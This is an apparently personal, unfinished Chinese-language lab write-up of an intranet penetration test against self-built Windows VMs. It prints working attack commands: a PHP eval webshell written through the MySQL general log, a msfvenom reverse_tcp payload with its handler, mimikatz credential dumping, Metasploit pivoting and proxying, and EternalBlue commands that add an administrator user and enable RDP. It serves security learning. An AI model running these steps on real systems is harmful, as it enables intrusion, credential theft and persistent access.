这篇文是我翻草稿发现不知道什么时候写的,只写到一半虚拟机都删除了,但是既然写都写了,凑合看一看
配置
三个主机都设置为VMnet1
(仅主机模式)
win7
单独添加一个虚拟网卡,设置为 NAT
模式,用于和物理机连通
关闭 win7
防火墙!(关于防火墙不太懂需要怎么设置就全关了,需要的时候再开)
win7
phpstudy
搭建 yxcms
,至此,环境搭建完成
设置 win7
为固定的 IP
开始渗透
思路很清晰,通过和外网互通的 win7
主机上的 cms
拿到初步的权限,进行权限提升,然后再通过 win7
信息收集,拿到win2008
和win2003
的服务器
拿下 win7
安装完有前台和后台页面,前台页面简单看了一圈,有比较熟悉的留言板和搜索框,剩下的就是文章和图片的展示,交互功能比较少,而且后台没有账号密码,查询一下官网的安装手册
默认账号密码 admin/123456
,尝试登录,成功,那么怎么拿下主机的控制权呢?
① 传后门(一句话木马之类)连 abc(蚁剑冰蝎菜刀),然后提权上线 cs/msf
因为一般这个后门是需要通过 http 服务访问网站后门文件的,所以叫 webshell
,shell 就是交互式命令行类似 cmd
② 直接远程连接 类似 3389 ,ssh,远控软件等
举例 ftp
为了方便不了解的同学直观的理解(可以直接跳过,这块写完发现没地方放了只好插到这篇文章里),举个例子,扫描端口时发现 21 端口存在 ftp
服务
暴破口令(我这里是直接扫描出的弱口令,所以对于工具使用只做演示)
hydra targetIP ftp -L username.txt -P password.txt -V
登录
ftp://admin:admin@ip:21 //扫描结果: 用户名/密码/ip/端口
可以查看文件 dir/ls
ftp
服务一般都是和网站绑定的,可以通过 http
访问上传的文件,连接后门,上传个一句话木马,使用 put 命令
连接后怎么进行下一步呢?右键打开虚拟终端
之前讲 cs 入门时可以执行 powershell 命令上线主机
上线成功,因为都是自己本机搭的环境(前面扫描的是蜜罐就不演示了),权限都很高的,ftp 可以执行所有操作,shell 用户是我本机用户,非一般服务器默认的 http 低权限用户
删除后门就 delete
,清理一下自己的痕迹,下一步就是通过这个主机进一步渗透内网,大致了解了这个过程,我们再继续看 cms,能否找到一些突破点
后台的权限功能一般都比前台多,更容易找到突破点,所以先从后台下手
尝试文件上传
发现后台有上传文件功能,可以尝试上传木马
编辑器点击上传图片和添加链接两个功能时没有反应,上传文章封面图片会上传到指定目录并重新命名,前台没有显示(没看到),直接上传 php 文件会被过滤
判断如何过滤:上传正常图片,修改文件后缀名为 php
,上传失败,证明检查了后缀名
能否绕过? 百度一下
大小写绕过
失败
空格绕过
加空格正常解析,可以绕过.php
类的完全匹配 失败
点绕过
windows
解析文件会自动去掉文件名最后的点 xx.php.==xx.php
失败
::$DATA 绕过
windows 会将它当作文件流处理 不会检测后缀名 且解析后的名字没有 ::$DATA
,失败
在测试时,发现请求一旦抓包,只要修改了文件名,即使是同样的名字,a.jpg->a.jpg
,都会提示非法图像文件,不修改则会正常上传
我实在是想不明白,即使前端发包时记录了文件指纹做对比,那修改成一模一样的,为什么还会显示非法图像呢?
看了源码发现是白名单比较了后缀名,但是不应该是改文件名的时候出现非法图像的提示,换了 kali 的 burp 发包就没有这种错误,这种白名单一般要配合文件包含漏洞利用,不想深究浪费时间了,看别的
尝试 sql 写文件
sql
可以增删改查,写文件自然不在话下,一般获取 shell
的方法就是就是写一句话木马
用的就是 select into outfile
语句,我们知道网站的绝对路径,默认打开的探针页面就有显示,因为我们的木马必须要自己能访问到才能谈下一步,而一般服务器只有 web 目录我们能访问,所以需要找到类似于如下的 web 目录,默认 mysql
写文件是自己的目录,我们不能通过 http
访问
尝试写文件,报错,语句不确定是否正确,在服务器 mysql 命令行尝试写入,失败,原因是 secure-file-priv
选项配置不允许写入
前端查看该选项 show variables like '%secure%'
,看不到查询记录,该值为 null
在探针页面有 mysql
连接接口,直接一个弱口令 root/root
连接成功,一般的 phpstudy
用 phpMyAdmin
管理数据库,dirsearch
扫描目录,登录 phpMyAdmin
phpMyAdmin
getshell 常规思路也是写入后门文件,但是没有导出权限,另一个方法就是利用日志写文件
首先查看日志是否开启 show variables like '%general%'
,已经开启了
general_log_file
是日志写到哪个文件,我们将其设置为 web 目录下的 php 文件,然后写入的日志语句为一句话木马,即可达到目的
set global general_log_file="C:/phpStudy/WWW/log.php"
可以看到已经创建了文件
我们尝试执行
select 100
可以在文件末尾看到记录
写入一句话
SELECT '<?php eval($_POST[cmd]);?>'
成功连接 win7
cs 上线,powershell commond
没有反应,不太清楚什么原因,防火墙都是关闭的,都能正常 ping
通,换个方法,cs 生成 exe 木马,上传执行,可以成功上线 win7
使用 msfvenom
生成木马,kali ip 是 128,生成直接被杀毒软件杀了,看来 cs 生成的还是比较好一点的,设置信任该木马程序
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.159.128 LPORT=1234 -b"\x00" -e x86/shikata_ga_nai -f exe > msf.exe
msf 建立监听,配置选项,执行
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.159.128
set LPORT 1234
exploit
win7 运行 exe 文件,msf 获取到会话
提权
我们上一步获取到的都是会话,cs 或 msf 只是为了方便进一步渗透
拿到 shell
下一步就是提权,先查看权限,就是管理员权限,很高权限了,最高权限是 system 权限
因为我们已经获取了 msf
的会话,直接 getsystem
获取系统权限(因为最终目的只是为了了解内网测试的流程,所以不会有什么阻碍)
这个 getsystem 是什么呢?
/*!
* @brief 尝试使用多种技术将当前的 Meterpreter 提升到本地系统。
* @details 此函数尝试使用多种技术获取系统级权限。
* 如果调用者没有指定特定的技术,那么所有已知的技术都是
* 按顺序尝试,直到成功。
* @return 表示成功或失败。
* @retval ERROR_SUCCESS 提升到 `SYSTEM` 成功。
*/
这个命名管道(named pipe)blabla 又是什么东西呢?说一下我的粗浅理解以及查阅的知识
命名管道连接两个进程,被连接的叫服务端,连接的叫客户端,服务端可以模仿客户端的权限
方法 1 是通过 msf 创建一个命名管道,我们作为服务端等待连接,然后创建一个系统服务(必须是管理员权限且没有uac),该服务会运行 cmd ,cmd 作为命名管道客户端连接,因为系统服务默认是 system 权限,它创建的进程也是 system 权限,连接后我们就可以获取到该进程的同等 system 权限
方法 2 也差不多,不同之处在于是通过写入 dll 文件,然后通过 rundll32.exe 来运行 dll 文件创建命名管道
方法 3 这个方法假设 Meterpreter 进程拥有 SeDebugPrivilege 权限(可以使用
getprivs
命令来获得),它首先遍历所有服务,寻找一个以 System 权限运行并且我们有向其中注入的权限,然后使用 dll 反射注入来运行 elevator.dll,该 DLL 会获取被注入进程的 System 权限的 token,然后将它赋予 Meterpreter 的一个线程。只能在 x86 环境下运行
方法 4 没看到说明
总之,一键提权后,下一步就是横向渗透
横向渗透
检查一下当前环境是否为虚拟机,虚拟机或者 docker
很有可能就是蜜罐什么的
meterpreter> run post/windows/gather/checkvm
查看打了哪些补丁,按两下 tab 键查看匹配的命令,打了补丁对应的漏洞就没法利用
meterpreter> run post/windows/gather/enum_patches
msf 的脚本目录
/usr/share/metasploit-framework/scripts/meterpreter
这时 cat
查看又是乱码,因为 windows
默认gbk
编码,需要转换一下,命令还不算太长
cd .msf4/logs/scripts/scraper/日志目录
iconv -f gbk -t utf-8 users.txt
或者安装终端终结者,右键选择 gbk 编码,一劳永逸
apt-get install terminator
还可以安装 rlwarp
工具,可以上下键调用历史命令
apt-get install rlwrap
rlwrap msfconsole
抓取 hash 值,hash 值是密码 hash 加密后的值,如果能破解就可尝试安全登录,不怕杀软
meterpreter> run windows/gather/credentials/windows_autologin
meterpreter> hashdump
但是 LM、NTML 两种值都是空,这应该是失败了,我们的账号都是有密码的
上传 mimikatz
程序,该程序是抓取明文密码的工具(msf 现在是 kiwi)
execute -i -f mimikatz_trunk/x64/mimikatz.exe
进入 mimikatz
执行界面(注意路径)
该程序需要管理员权限执行
privilege::debug // 获取高权限读取密码(已经是sysytem权限了)
sekurlsa::logonpasswords // 获取密码
读取到管理员的明文密码和所在域名,god 域,因为密码设置的较为复杂,hash
无法解密出来,有了密码很容易想到尝试远程桌面连接,一般远程管理我平时都用 todesk
和 mobaxterm
,msf
里面也有脚本开启远程桌面服务
meterpreter> run post/windows/manage/enable_rdp
成功开启
直接用域用户登录,用户名:god/Administrator
,密码:上一步的密码,但是在主机会看到记录,而且一个用户只能一个人登录,我们一旦连接管理员用户就会注销,这也太明显了
创建一个登录用户,登录
run getgui -u testtest -p Testpass@3344
rdesktop -u testtest -p Testpass@3344 192.168.159.129
没有远程登录的权限,有没有脚本将其添加到远程桌面组这就不清楚了,略过
不登录的状态还可以截图
screenshot
所谓横向渗透,思路也是一样的,拿到一台主机,可以探测其它主机,然后收集信息,进行渗透,无非也是那些东西…
那么第一个问题,就是探测当前网络环境,有哪些存活设备可供我们继续渗透的
查看网段信息
meterpreter > run get_local_subnets
扫描网段主机
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24
kali
是无法和域内主机相连的,如果我们用 nmap 直接扫描是行不通的
我们先给 msf
配置路由,一条报文如果想发出去,必须确保是完整的报文,这也就是说它的源 ip、源 mac、目的 ip、目的 mac 必须是有的,然后还要根据它的目的 ip 匹配路由表,确定要从哪个网卡发出,有了这些,报文就会从网卡发出去,配置了路由表后,由 msf 作为网关进行数据转发,下一步还是利用win7
本身的网络(猜测)
meterpreter > run post/multi/manage/autoroute
扫描开放端口,用自带脚本,可以连通 52 网段,不配置路由也是行不通的
background // 后台挂起会话
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.138
set ports 135,445,80,22,3389
set threads 30
exploit
虽然能用脚本对内网主机进行测试,但是还是无法用其它工具比如 nmap,sqlmap
…工具,此时我们可以使用代理,还是使用 msf
做一个 socket
代理,使得我们本机的流量也可以走 msf
会话通道(当然 msf
是配置完路由的状态),background
挂起会话
use auxiliary/server/socks_proxy
set srvport 1888
set srvhost 127.0.0.1
set version 4a
exploit
自动后台运行,编辑配置文件
root@kali# vi /etc/proxychains4.conf
最下面添加代理配置
然后测试使用 nmap,因为无法代理 icmp 流量,所以要加上 -Pn和-sT
这个限制很多
root@kali# proxychains nmap -sT -sV -Pn -n -p22,80,135,445 --script=smb-vuln-ms08-067.nse 192.168.52.141
我们还使用了一个脚本,检测 ms08-067
的,因为目标机器是 win2003
,所以很有可能存在这个漏洞,验证存在该漏洞
尝试使用 msf 脚本攻击
proxychains rlwrap msfconsole // 继续用之前的代理
search 08_067
use...
show targets
set target xx
...
失败了,可能是配置原因,也可能是防火墙?没看到在哪检查,换一个 ms17_010
,因为这两个漏洞都比较经典,提的比较多
admin/smb/ms17_010_command 是 17_010
命令执行的利用模块,不出意外又失败了,但是在尝试 win2008
时成功了
ms17_010
有四个相关模块,0 执行成功的话会返回一个 meterpreter
会话
use exploit/windows/smb/ms17_010_eternalblue
set...
set payload windows/meterpreter/reverse_tcp
show targets // 设置目标机器型号
set target 3
run
攻击可能是攻击了,但是没有建立会话
查阅资料后发现,这种情况很普遍,没什么好的解决办法,比较推荐的就是使用原生 fb.py
利用,看完觉得配置比较复杂,需要 python
环境还要上传 n 多脚本到服务器…我们选择曲线救国,使用command
脚本新建用户到管理员组
use auxiliary/admin/smb/ms17_010_command
set...
set command net user testtest Aa123456!@# /add
run
set command net localgroup administrators testtest /add
run
执行成功,我这里直接是 system 权限,注意创建用户的用户名密码要符合复杂度规则,不要用过于简单的,否则无法成功
开启远程桌面,然后连接,kali 终端叹号需要转义
msf6 auxiliary(admin/smb/ms17_010_command) > set command wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1
msf6 auxiliary(admin/smb/ms17_010_command) > run
proxychains rdesktop 192.168.52.138
登录 god 域创建的 testtest 用户,域的特殊之处在于域管理员能登录域内的任意一台主机,但是管理员并不能为所欲为
后面就没了…